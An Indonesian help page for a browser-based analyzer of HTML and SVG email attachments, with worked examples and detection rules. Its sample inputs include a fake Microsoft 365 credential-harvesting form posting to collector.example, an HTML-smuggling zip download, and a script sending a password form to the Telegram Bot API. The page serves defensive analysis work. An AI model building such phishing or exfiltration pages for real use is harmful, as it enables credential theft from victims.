File dan halaman

Penganalisis Lampiran HTML

Berjalan secara lokalBaru

Alat ini sendiri tersedia dalam bahasa Inggris; halaman ini menjelaskannya dalam bahasa Anda.

Gunakan Penganalisis Lampiran HTML

Fungsinya

Muat atau tempelkan lampiran HTML atau SVG untuk melihat apa yang akan dilakukannya jika dibuka: unduhan tersembunyi, form yang mengirim kata sandi ke tempat lain, pengalihan, endpoint eksfiltrasi, dan kode terobfuskasi. File dibaca sebagai teks dan tidak pernah dirender atau dijalankan.

Aplikasi ini sepenuhnya berjalan di browser Anda: tidak ada data yang Anda masukkan yang diunggah.

Cara menggunakan Penganalisis Lampiran HTML

  1. Jangan membuka file. Simpan lampiran .html, .htm, .shtml, .xhtml, atau .svg tanpa membukanya, atau salin kode sumbernya sebagai teks.
  2. Muat atau tempelkan. Jatuhkan file ke kotak atau pilih file (hingga 25 MB), atau tempelkan kode sumbernya (hingga 5 MB) dan tekan Analyze (Analisis) atau Ctrl+Enter.
  3. Baca putusannya. Kotak teratas menyatakan High risk, Suspicious, atau No high-risk patterns found, dengan kategori di baliknya serta jumlah temuan, IOC, dan blob tersemat.
  4. Telusuri temuannya. Setiap temuan menampilkan tingkat keparahan, kategori, nomor baris, dan kode sumber yang cocok, dengan tautan dan alamat dalam bentuk defanged.
  5. Ekspor temuan Anda. Salin IOC dalam bentuk defanged atau mentah, atau gunakan Send to untuk IOC Converter, Abuse Report Generator, atau, untuk blob tersemat, Multi-Layer Decoder.

Contoh

Form login dengan alamat yang sudah terisi

Masukan
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Hasil (direkam pada 2026-10-20)
High risk: techniques used by phishing and malware attachments

Credential harvesting

1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs

FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365

This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.

Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO	METHOD	FIELDS	LINE
hxxps://collector[.]example/login external Copy	POST	email u, password p, submit password	2
Requests and redirects with a literal target
VIA	TARGET	LINE
form	hxxps://collector[.]example/login other site	2
IOCs
URLs (1)
hxxps://collector[.]example/login

Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)

Static
…

High risk: form login mengirim kata sandi ke collector[.]example, judulnya menyebut Microsoft 365 di samping kolom kata sandi, dan skripnya mengisi alamat email dari fragmen URL dengan atob. Daftar IOC memuat URL collector dan domainnya, dalam bentuk defanged.

Apa yang diperiksa

SinyalApa artinya
HTML smugglingHigh jika halaman membangun file di memori (Blob dengan createObjectURL atau tautan unduhan, atau msSaveOrOpenBlob) dan menawarkannya sebagai unduhan.
FormSetiap form yang mengirim ke situs lain dinilai high, dan judulnya menyebutkan jika form itu memuat kata sandi. Tabel Forms mencantumkan ke mana setiap form mengirim, metodenya, dan kolomnya.
Endpoint eksfiltrasiPanggilan Telegram Bot API, token bot, webhook Discord, dan layanan pengumpul form seperti formspree.io atau webhook.site dinilai high.
Obfuskasiatob, unescape, fromCharCode, rangkaian escape yang panjang, dan keluaran obfuscator yang dikenal. String terkode literal didekode tanpa dijalankan.
Kode dinamiseval, konstruktor Function, document.write, dan penetapan innerHTML membangun kode atau markup saat dijalankan.
PengalihanPerubahan location, window.open, meta refresh, dan pembacaan fragmen URL, tempat kit sering meneruskan alamat email korban.
Anti-analisisKlik kanan atau F12 yang diblokir, pernyataan debugger, deteksi developer tools, dan pemeriksaan browser otomatis.
Konten tersematdata: URI, blob Base64 atau hex yang panjang dan tipe file hasil dekodenya, iframe tersembunyi, dan file SVG yang berisi skrip.
Petunjuk merekNama merek di judul, logo, atau tautan. Di samping kolom kata sandi, ini dinilai medium.

Contoh lainnya

Unduhan yang dibangun di browser

Masukan
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>
Hasil

High risk, alasan HTML smuggling: 1 temuan high (halaman merakit file di browser dan menawarkannya sebagai unduhan) dan 4 temuan medium untuk atob, new Blob, URL.createObjectURL, dan atribut download. Tidak ada IOC.

Kata sandi dikirim ke bot Telegram

Masukan
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>
Hasil

High risk, alasan Data exfiltration: skrip mengirim data dari halaman dengan kolom kata sandi ke api.telegram.org, ditambah temuan endpoint Telegram Bot API. Temuan medium mencakup fetch, kolom kata sandi, dan form login tanpa action eksternal.

Gambar SVG yang mengalihkan

Masukan
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>
Hasil

High risk: file SVG dengan skrip, ditambah temuan pengalihan medium dan temuan btoa low. Tujuannya muncul di Requests and redirects sebagai situs lain, dan URL namespace XML tidak dimasukkan ke IOC.

Pertanyaan yang Sering Diajukan

Apa yang dicari penganalisis ini?

Alat ini mencocokkan kode sumber dengan aturan untuk HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, tautan unduhan, data: URI, dan blob Base64 yang panjang), form dan skrip yang mengirim data ke situs lain, eksfiltrasi Telegram dan Discord, pengalihan, iframe tersembunyi, obfuscator, dan trik anti-analisis. Alat ini juga mendekode literal atob, unescape, dan fromCharCode tanpa menjalankannya dan mencantumkan setiap URL, domain, alamat IP, dan alamat email yang ditemukannya, dalam bentuk defanged.

Bisakah alat ini melewatkan sesuatu atau memberi alarm palsu?

Bisa. Kode yang terenkripsi atau dibuat saat dijalankan dapat menyembunyikan perilakunya dari pemindaian statis, dan halaman biasa juga memakai fetch, innerHTML, atau gambar inline, jadi baca kode sumber yang cocok yang ditampilkan di samping setiap temuan. Untuk deobfuskasi dan emulasi dalam sandbox, gunakan JS Analyzer.

Apakah file diunggah atau dibuka?

Tidak. File dibaca sebagai teks di browser Anda dan tidak pernah dirender, dijalankan, atau dikirim ke mana pun. File hingga 25 MB diterima; untuk file yang sangat besar, 4 MB pertama dan 1 MB terakhir dari markup dipindai, dan blob tersemat dihitung di seluruh file.

Mengapa gambar SVG diperiksa seperti halaman web?

File SVG adalah XML yang dibuka browser seperti halaman, sehingga dapat membawa skrip, tautan, dan HTML tersemat. Gambar tidak memerlukan skrip, jadi skrip di dalam SVG dinilai high.

Apa itu blob tersemat?

String Base64, hex, atau array byte yang panjang di dalam file. String ini didekode di memori dan diberi label sesuai tipe file hasil dekodenya; Anda dapat menyalinnya atau mengirim blob teks ke Multi-Layer Decoder.

Apa arti tingkat keparahan?

High menandai pola yang diandalkan lampiran phishing dan malware, seperti smuggling, endpoint eksfiltrasi, atau form kata sandi yang mengirim ke tempat lain. Medium mencakup teknik yang juga dipakai halaman biasa. Satu temuan high membuat putusannya menjadi High risk.

Penjelasan Istilah

Penelitian PhishDestroy